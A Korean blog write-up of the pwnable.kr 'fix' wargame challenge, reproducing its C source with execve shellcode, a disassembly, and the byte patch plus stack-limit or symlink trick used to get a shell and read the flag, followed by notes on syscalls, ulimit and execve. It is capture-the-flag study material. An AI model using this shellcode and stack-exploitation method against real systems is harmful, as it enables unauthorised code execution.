security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] fix

민사민서 2023. 2. 23. 22:10
#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
	// a buffer we are about to exploit!
	// [ebp-0x1c]
	char buf[20];

	// prepare shellcode on executable stack!
	strcpy(buf, sc);

	// overwrite return address!
	// [ebp+0x4] = buf+32
	*(int*)(buf+32) = buf;

	printf("get shell\n");
}

int main(){
        printf("What the hell is wrong with my shellcode??????\n");
        printf("I just copied and pasted it from shell-storm.org :(\n");
        printf("Can you fix it for me?\n");

	unsigned int index=0;
	printf("Tell me the byte index to be fixed : ");
	scanf("%d", &index);
	fflush(stdin);

	if(index > 22)	return 0;

	int fix=0;
	printf("Tell me the value to be patched : ");
	scanf("%d", &fix);

	// patching my shellcode
	sc[index] = fix;	

	// this should work..
	shellcode();
	return 0;
}

- Partial RELRO   No canary found   NX disabled    No PIE
- 디스어셈블해보니 execve(ebx,ecx,edx) 호출함. 이때 ecx, edx는 널포인터로 끝나는 배열이어야 함 
(ecx는 문자열 배열, edx는 "key=value" 형태의 문자열 배열)

0:  31 c0                   xor    eax,eax
2:  50                      push   eax ; \x00
3:  68 2f 2f 73 68          push   0x68732f2f ; //sh
8:  68 2f 62 69 6e          push   0x6e69622f ; /bin
d:  89 e3                   mov    ebx,esp ; *filename
f:  50                      push   eax
10: 53                      push   ebx ; ["/bin/sh", NULL]
11: 89 e1                   mov    ecx,esp ; **argv
13: b0 0b                   mov    al,0xb ; execve
15: cd 80                   int    0x80

- gdb 분석해보니 push ebx; 여기부터 이상하게 바뀌네?
- shellcode 시작 시 esp=[ebp+0x8]=[buf+0x24]
- push eax에서 [buf+20~23]에 쓰이고, push ebx에서 [buf+16~19]에 쓰여 쉘코드 영역 침범!
- esp 값을 바꿔야하는데,, filename까진 필수이므로 첫 15바이트는 건들 수 없음
- push eax부터 shellcode 침범하기에 여기 무조건 바꿔야 함.

[1] push eax를 pop esp로 바꾼다면? (50 -> 5c)
esp = 0x6e69622f 들어가고
ebx = "/bin/sh\x00" 문자열 주소
ecx = 이중 포인터 (esp+0x4부터 4byte가 0이어야 ["/bin/sh", NULL] 형태)
edx = 0 (x/wx $edx 해보니 0 담겨있음)

pwndbg> x/wx 0x6e69622f
0x6e69622f:	Cannot access memory at address 0x6e69622f
접근할 수 없는 메모리 영역이라고 나온다

=> ulimit -s 이용해 스택영역 확장시키면 제대로 exploit 된다!!

[2] push eax를 leave(mov esp, ebp; pop ebp;)로 바꾼다면? (50 -> c9)
esp = main함수의 ebp+4 (main RET 가리킴)
ebp = main함수의 sfp 값
push ebx 이후 스택상황: "/bin/sh" 주소 | main RET | 4byte | 4byte | nullbyte
pwndbg> x/104x $ebp+0x4 ; main 함수
0xffbef8fc:	0xf7d8cfa1	0xf7f4c000	0xf7f4c000	0x00000000
=> ecx는 NULL로 끝나는 배열 포인터고, edx=NULL. 문제 없어보이는데

=> /bin//sh: 0: Can't open ���� ~~ P��c 이런 메시지 뜨면서 안되네
=> ecx로 전달한 argv 배열 인자들을 /bin/sh에서 실행하다가 문제가 생긴듯.
argv[0] = "/bin/sh"
argv[1] = 0x83, 0xc4, 0x10, 0x83, 0xec, 0x0c, 0x50, 0xe8, 0xf3, 0x75, 0x01, 0x00
argv[2] = 0x8c, 0x7d, 0x1d, 0x00
argv[3] = 0x8c, 0x7d, 0x1d, 0x00
=> argv[1] 문자열을 이름으로 가지는 심볼릭 링크 하나 만들어주면 Error 안 뜰듯

ln -s /bin/cat $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
=> syntax error: unterminated quote string
=> 쉘 파일 만들어 거기다가 완성된 명령어를 입력하자 (cat flag)

touch a.sh
1) ln -s /home/minseo/Desktop/pwnableKr/Rookiss/fix/a.sh $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
2) ln -s /home/minseo/Desktop/pwnableKr/Rookiss/fix/a.sh `perl -e 'print"\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01"'`
=> 제대로 a.sh 실행된다
=> 원격에선 왜 안될까 했더니 저 담긴 문자열이 다르더라!!!

<exploit 계획>
1. /tmp 아래 fix 디렉터리 만들고 
2. a.sh와 그의 심볼릭 링크인 '\x83\xc4\x10\x83\xec\x0c\x50\xe8\x8d\x63\x01'를 만든다
3. a.sh에 cat /home/fix/flag 입력 후 저장
4. fix 바이너리 실행

 

 

1. Linux syscall table (x86)

32bit환경에서는 int 0x80 인스트럭션을 통해 system call을 수행한다.

NR syscall %eax arg0 (%ebx) arg1 (%ecx) arg2 (%edx) arg3 (%esi) arg4 (%edi) arg5 (%ebp)
0 restart_syscall 0x00 - - - - - -
1 exit 0x01 int error_code - - - - -
3 read 0x03 unsigned int fd char *buf size_t count - - -
4 write 0x04 unsigned int fd const char *buf size_t count - - -
5 open 0x05 const char *filename int flags umode_t mode - - -
6 close 0x06 unsigned int fd - - - - -
11 execve 0x0b const char *filename const char *const *argv const char *const *envp - - -

2. Linux syscall table (x64)

64bit환경에서는 syscall 인스트럭션을 통해 system call을 수행한다.

syscall number syscall %rax %rdi %rsi %rdx %rcx %r8 %r9
0 sys_read 0x0 unsigned int fd char *buf size_t count      
1 sys_write 0x1 unsigned int fd const char *buf size_t count      
2 sys_open 0x2 const char *filename int flags int mode      
3 sys_close 0x3 unsigned int fd          
59 sys_execve 0x3B const char *filename const char *const argv[] const char *const envp[]      
60 sys_exit 0x3C int error_code          

3. ulimit

프로세스의 자원 한도를 설정하는 명령어. 커널단에서의 소프트웨어 및 하드웨어 한도 설정에 관련된 명령어.

두가지 한도가 있다.

1. soft limit (-a 옵션으로 확인 가능) : 새로운 프로그램을 생성하면 기본으로 적용되는 한도

2. hard limit (-aH 옵션으로 확인 가능) : 소프트한도에서 최대로 늘릴 수 있는 한도

옵션값

-a 모든 제한 사항을 보여줌.
-c 최대 코어 파일 사이즈
-d 프로세스 데이터 세그먼트의 최대 크기
-f shell에 의해 만들어질 수 있는 파일의 최대 크기
-s 최대 스택 크기
-n open file descriptor의 최대 수
-u 한 유저가 실행할 수 있는 process의 최대 수
-v 최대 가상 메모리의 양
-S 소프트 한도
-H 하드 한도

=> ulimit -s unlimited 해서 스택 영역 확장

 

4. execve() 함수 두번째 인자(*argv[])로 원소 2개 이상인 배열 넘겼을 때?

char* argv[] = {"/bin/sh","sh","-c","/bin/ls", (char*) NULL};
execve(argv[0], argv, environ);

*argv[]는 실행한 프로그램(파일, filename="/bin/sh")에 전달되는 매개변수

The argv parameter is an array of strings that represents the program arguments, with the first element being the name of the program itself. 

argv[0]은 실행한 프로그램의 전체 이름이어야 한다

argv[1]부터 실행한 프로그램 /bin/sh에 전달되는 매개변수이다.

=> 즉 execve 함수를 통해  /bin/sh sh -c /bin/ls 이라는 shell command를 실행한 것이다.

/bin/sh: 0: Can't open sh

이런 에러 메시지를 마주쳤다면 /bin/sh가 실행되면서 sh라는 script를 실행하려고 했지만 current directory에서 발견하지 못한 것

=> can't open 메시지 마주쳤다면 전체경로 입력해주면 대부분 해결

 

5. Syntax error: Unterminated quoted string

- /bin/sh abc 입력 시 발생 (인자로 제대로 넘어가지 않음)

In the command you entered, /bin/sh abc, since abc is not enclosed in quotes, the shell treats it as a separate command rather than an argument to /bin/sh.

=> /bin/sh -c 'abc' 하면 된다!! (만약 /bin/sh 실행 후 abc 명령어 실행하고 싶다면)

=> 혹은 쉘 스크립트 만들고 인자로 전달해주면 된다: /bin/sh a.sh

 

6. non-printable 문자로 파일 이름 설정하려면

ln -s /tmp/fix/a.sh $'\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01'
ln -s /tmp/fix/a.sh `perl -e 'print"\x83\xc4\x10\x83\xec\x0c\x50\xe8\xf3\x75\x01"'`

 

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25
pwnable.kr - [Rookiss] echo1  (0) 2023.02.23
pwnable.kr - [Rookiss] ascii_easy  (0) 2023.02.19
pwnable.kr - [Rookiss] tiny_easy  (0) 2023.02.19